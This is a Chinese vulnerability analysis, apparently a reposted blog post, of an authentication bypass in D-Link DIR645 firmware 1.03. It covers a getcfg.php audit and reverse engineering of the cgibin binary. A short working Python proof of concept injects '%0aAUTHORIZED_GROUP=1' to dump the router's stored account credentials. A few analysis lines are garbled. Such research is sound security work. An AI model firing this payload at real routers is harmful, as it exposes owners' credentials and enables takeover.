0x00 序
D-Link DIR645的1.03版本固件中存在一个绕过认证查看配置文件的信息泄露漏洞。(CSDN也是小师傅的账号,请各位举报的师傅们手下留情)
0x01 信息泄漏
漏洞触发点
信息泄露的漏洞触发点在固件squashfs-root文件下的htdocswebgetcfg.php。
该页面在未认证的情况下可以访问。
打开文件对源代码进行审计,澄清getcfg.php的逻辑。
HTTP/1.1 200 OKContent-Type: text/xml<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?><postxml><? include "/htdocs/phplib/trace.php";function is_power_user(){
if($_GLOBALS["AUTHORIZED_GROUP"] == "")
{
return 0;
}
if($_GLOBALS["AUTHORIZED_GROUP"] < 0)
{
return 0;
}
return 1;}if ($_POST["CACHE"] == "true"){
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");}else{
if(is_power_user() == 1)
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
}
else
{
/* not a power user, return error message */
echo "t<result>FAILED</result>n";
echo "t<message>Not authorized</message>n";
}}?></postxml>
-
is_power_user()函数对参数AUTHORIZED_GROUP进行了判断,如果AUTHORIZED_GROUP为空或者小于1,则返回0,否则返回1。
-
对POST请求的参数CACHE进行判断,如果参数为true,则执行echo dump,否则继续向下跳转。
-
在下面的代码段中调用了is_power_user()函数进行鉴权。
-
如果返回1,则可以执行获取配置文件的代码段。
-
否则返回报错页面。
-
在鉴权返回1时:
-
对POST请求的参数以“,”进行切割,并存入变量$SERVICE_COUNT。
-
通过循环将SERVICES中的参数以“,”,并存入变量$GETCFG_SVC。
-
当 $ GETCFG_SVC不为空时,将 $ GETCFG_SVC的参数拼接到$file路径中。
-
如果文件存在则将对应的文件加载到页面显示。
分析参数AUTHORIZED_GROUP
-
AUTHORIZED_GROUP在/htdocs/cgibin中进行处理。
-
file命令查看cgibin文件的文件属性信息。
-
cgibin文件为MIPS32位小端序的可执行文件。
0x03 静态分析
cgibin文件分析
-
打开cgibin文件
-
查询字符串“AUTHORIZED_GROUP”
-
跟进查看字符串调用位置
-
字符串在phpcgi_main函数进行调用
phpcgi_main函数分析
-
初始化phpcgi_main函数
-
$a0 = main函数地址
-
$a1 = arg_0(第一个参数)
-
$a2 = arg_4(第二个参数)
-
调用sobj_new、sobj_add_string、sobj_add_char三个函数处理接收的参数。
sobj_new函数分析
-
初始化函数
-
申请一段大小为0x18的内存空间
-
初始化内存空间
sobj_add_string函数分析
-
初始化函数
-
$a0 是申请的内存空间地址
-
$a1 是arg_4
-
调用sub_413CD4函数
-
sub_413CD4函数分析
-
初始化函数
-
将立即数0x20存入内存空间0xC $s0。
-
申请一块0x21大小的内存空间,并将该空间地址存入0x14 $s0。
-
并返回 0
-
如果参数长度(
s1)小于或等于0x20,则继续执行。s 1 ) 大于 0 x 20 ,则跳转 l o c 4 13 D B 8 ,如果参数长度 ( -
继续执行sub_413CD4,重新分配内存空间大小,直到0x14 $s0所指向的内存空间大小与传入参数的长度一致为止。
-
将参数arg_4拷贝到0x14 $s0所指向的内存空间。
-
将存储参数位置的地址存入内存空间按0x10 $s0。
sobj_add_char函数分析
-
$a0 是sobj申请的内存空间。
-
$a1 被赋值立即数0xA。
-
将参数存入sobj申请的内存空间0x00位置。
-
返回值为0。
phpcgi_main函数分析2
-
getenv函数获取请求方式
-
使用strcasecmp函数对请求方式进行判断
-
分别对HEAD,GET,POST三种请求方式进行判断。
-
调用cgibin_parse_request函数对请求进行解析。
-
cgibin_parse_request函数分析
-
CONTENT_TYPE
-
CONTENT_LENGTH
-
REQUEST_URI
-
以POST请求方式为例跟进分析cgibin_parse_request函数
-
$a0 = addr(sub_405560)
-
$a1 是sobj创建的内存空间
-
$a2 = 8
-
cgibin_parse_request函数分析
-
通过getenv函数获取CONTENT_TYPE和CONTENT_LENGTH的值。
-
使用atoi函数把CONTENT_LENGTH的值转换为整型数据。
-
创建两块0x18大小的sobj内存空间。
-
使用getenv函数获取REQUEST_URI的值。
-
使用strchr函数匹配REQUEST_URI的值中是否有字符"?"(0x3F)
-
如果存在则继续向下执行
-
s0的内存空间a 0 是 -
$a1 = 0
-
如果
v0=1.s 0 中的 a r g 存在,则调用 s o b j e m p t y 函数将 a r g 置 0 , -
调用sobj_free函数释放$s0的内存空间。
-
$a1 是"?"之后的参数
-
$a0 = 0
-
$a2 是"?"之后的参数长度
-
如果"?"之后还有参数,则跳转到loc_4030DC。
-
循环判断参数的长度,直到$s1等于参数的长度。
-
函数返回
-
$s1接收"?"之后的字符串地址
-
将字符串传递给$a0
-
使用strlen函数判断字符串长度
-
调用sub_402FD0
-
sub_402FD0函数分析
-
第二次调用sub_402FD0函数
-
如果不存在则跳转到loc_4037F8
-
最终将参数存入$v0返回
-
执行流程跳转到loc_405AB8
-
调用sess_validate函数获取session
-
将a1与a2的值拼接写入a0中。
0x04 漏洞分析
由于CGI在对传入的参数和写入的过程中未对字段进行判断,当发送POST请求参数SERVICES后,可在传入请求参数时,传入AUTHORIZED_GROUP覆盖在a0中的AUTHORIZED_GROUP值,从而实现权限绕过。
0x05 POC
import requests
url = r'http://xxx.xxx.xxx.xxx:8080/getcfg.php'data = "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1"header = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",}res = requests.post(url,data=data,verify=False,headers=header)print(res.text)
0x06 测试POC
成功获取路由器的账号密码。
成功登录!
0x07 后记
这是第一次分析二进制文件,所以很多函数都跟进详细进行了分析,如果有分析错误的地方请师傅们指正批评。
原文始发于微信公众号(乌托邦安全团队):D-Link DIR645 1.03绕过认证查看配置文件漏洞复现与分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论